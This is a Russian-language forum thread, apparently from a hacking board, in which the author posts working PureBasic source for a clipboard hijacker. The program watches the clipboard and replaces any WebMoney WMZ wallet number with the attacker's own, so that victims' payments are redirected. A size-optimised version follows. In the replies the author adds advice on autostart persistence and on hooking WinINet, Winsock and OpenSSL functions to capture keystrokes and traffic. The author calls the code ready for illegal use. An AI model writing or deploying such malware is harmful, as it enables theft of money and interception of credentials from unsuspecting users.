Модификация буфера обмена -- это просто

Тема в разделе "Статьи", создана пользователем FanOfGun, 15 ноя 2012.

  1. FanOfGun
    FanOfGun Продвинутый
    Симпатии:
    14
    [Intro]​


    Предлагаю сегодня научиться подменять текст в буфере обмена. Сразу скажу, что я не призываю к кардерству или воровству, цель -- просто показать, насколько просто это может быть.
    Писать мы будет на PureBasic. Сейчас, возможно, кто-то сильно разочаровался, не зная, что PureBasic и бейсик, к которому привыкли многие, похожи только синтаксисом. "Под капотом" это абсолютно разные языки. PureBasic -- ничто иное, как простой транслятор бейсика в FAsm, что говорит о многом(асмовые вставки, небольшой размер выходной проги, указатели, отсутствие необходимости в рантаймах и т.д.).
    Один минус -- он платный. Но найти полную версию в гугле очень просто, а для наших целей подойдет и демка с офиц. сайта(http://www.purebasic.com/).

    [Первый блин]​


    Итак, приступим. Я, пожалуй, сразу покажу код, а потом его прокоментирую.
    Код:
    EnableExplicit
    
    Define.s myWMZ="Z123456789012"
    
    Define regex=CreateRegularExpression(#PB_Any, "Z[0-9]+")
    
    While #True
      Define curText.s=GetClipboardText()
      
      If MatchRegularExpression(regex, curtext)
        SetClipboardText(myWMZ)
      EndIf 
      
      Delay(100)
    Wend
    
    На самом деле язык очень прост и освоить его по прилогаемому мануалу не проблема. Расмотрим только основные аспекты: первая строка -- команда компилятору предупреждать о необьявленный(объявление переменной -- define) переменных. Ее можно убрать, но не исключены опечатки в именах переменных, из-за которых вся логика программы может разрушиться.
    Далее идут объявления переменных, замечу только одно: суфикс ".s" указывает компилятору, что это строка, его можно прилепить как к директиве define(первый вариант), так и к имени переменной(второй).
    CreateRegularExpression -- функция, создающая регулярку(прошу прощения за плохой паттерн, это просто пример), для последующего использования.
    While #True ... Wend -- бесконечный цикл, в котором происходит все самое интересное: получение текста из буфера обмена(Define curText.s=GetClipboardText()), его сравнение с регуляркой(MatchRegularExpression(regex, curtext)) и если он подходит, то его замена нашим текстом(SetClipboardText(myWMZ)).
    Вот и все! Теперь давайте соберем нашу программку. Для этого в IDE шелкните по пункту меню Compiler(у меня англ. версия), далее выбираем пункт CreateExecutable(под опциями компилятора). Дальше все просто:).
    [Разбор полетов]​

    У меня получился файл размером в 67 кб. Многовато, не так ли? Давайте его уменьшим. Эксперементально выяснилось, что 60 кб тащит модуль работы с регулярками. Поэтому, если урать все упоминания о нем в коде, избвавимся от лишнего веса.
    Опять-таки сразу приведу код:
    Код:
    EnableExplicit
    
    Define.s myWMZ="Z123456789012"
    
    ;Define regex=CreateRegularExpression(#PB_Any, "Z[0-9]+")
    
    Procedure IsMatch(text.s)
      Define  i
      If Mid(text,1,1)="Z" And Len(text)=13
        For i=2 To Len(text)
          Define c=Asc(Mid(text, i,1))
          If Not(c>=Asc("0") And c<=Asc("9"))
            ProcedureReturn #False
          EndIf
        Next
        ProcedureReturn #True
      Else
        ProcedureReturn #False
      EndIf
    EndProcedure
    
    While #True
      Define curText.s=GetClipboardText()
      
      If IsMatch(curText) ;MatchRegularExpression(regex, curtext)
        SetClipboardText(myWMZ)
      EndIf 
      
      Delay(100)
    Wend
    
    Единственное отличие -- в закоментированных обращениях к regEx модулю и добавлению новой процедуры, которая выполняет тоже, что и регулярка. Кода, казалось бы, стало ольше, но скомпилировав прогу мы увидем, что ее размер 5,5 кб! И кто говорил, что бейсики прожорливы?
    [В заключение] ​

    По-сути, это готовый софт для незаконных дел, но я все же надеюсь, что Вы будете благоразумны и не станете использовать эти знания во вред.
     
    Последнее редактирование: 15 ноя 2012
    15 ноя 2012
    5 пользователям это понравилось.
  2. Arsenyi
    Arsenyi Новичок
    Симпатии:
    1
    В автозагрузку прописывается?
    Если нет,как сделать чтобы прописывалось?
     
    4 дек 2012
  3. FanOfGun
    FanOfGun Продвинутый
    Симпатии:
    14
    Не прописывается. Мне щас писать код неохото, но советую заглянуть по этим линкам:
    http://www.cyberforum.ru/basic/thread93860.html (список ф-ций для работы с реестром в пурике)
    http://vbslab.ru/news.php?readmore=13 (пример на vbs, там можно посмотреть пути и принцип)
     
    4 дек 2012
    1 человеку нравится это.
  4. Arsenyi
    Arsenyi Новичок
    Симпатии:
    1
    4 дек 2012
  5. Arsenyi
    Arsenyi Новичок
    Симпатии:
    1
    FanOfGun
    как реализовать захват нажатых клавиш с определённых веб страниц? то есть,чтобы программа ждала коннекта к определённому ip адресу сайта,и при заходе на определённый сайт происходил захват клавиш
    (язык purebasic)
     
    8 дек 2012
  6. FanOfGun
    FanOfGun Продвинутый
    Симпатии:
    14
    Arsenyi,
    PureBasic не очень популярный язык, врядли есть что-то готовое. Стоит заглянуть в исходники обычных кейлогеров(их нетрудно найти), а дальше копать в направлении перехвата winapi(тут уж без умения читать Си никуды). Хотя имхо разумнее сразу начать с перехвата ибо через wininet и winsock идет большая часть обмена инфой с инетом и перехватывать нажатия особого смысла нет(в wininet все поступает в открытом виде, с winsock сложнее, нужно искать либу, которая отвечает за https -- предположительно openSSL или что-то подобное -- и перехватывать ее ф-ции)
     
    8 дек 2012
Загрузка...